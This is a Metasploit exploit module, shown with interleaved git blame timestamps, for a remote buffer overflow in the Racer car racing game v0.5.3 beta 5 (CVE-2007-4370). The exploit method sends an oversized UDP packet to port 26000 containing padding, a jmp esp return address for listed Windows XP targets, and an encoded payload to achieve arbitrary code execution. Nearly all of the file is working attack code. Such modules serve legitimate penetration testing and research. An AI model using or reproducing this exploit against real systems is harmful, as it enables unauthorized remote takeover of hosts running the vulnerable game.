metasploit-framework/modules/exploits/windows/games/racer_503beta5.rb

68 lines
1.8 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Udp
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
2013-11-15 06:03:42 +00:00
'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module explots the Racer Car and Racing Simulator game
versions v0.5.3 beta 5 and earlier. Both the client and server listen
on UDP port 26000. By sending an overly long buffer we are able to
execute arbitrary code remotely.
},
'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-4370' ],
[ 'OSVDB', '39601' ],
[ 'EDB', '4283' ],
[ 'BID', '25297' ],
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x5c\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
},
'Platform' => 'win',
'Targets' =>
[
# Tested ok patrickw 20090503
[ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
[ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
[ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
],
'DisclosureDate' => 'Aug 10 2008',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
Opt::RPORT(26000)
], self.class)
end
2013-08-30 21:28:54 +00:00
def exploit
connect_udp
2013-08-30 21:28:54 +00:00
buf = Rex::Text.rand_text_alphanumeric(1001)
buf << [target.ret].pack('V')
buf << payload.encoded
buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)
2013-08-30 21:28:54 +00:00
udp_sock.put(buf)
2013-08-30 21:28:54 +00:00
handler
disconnect_udp
end
end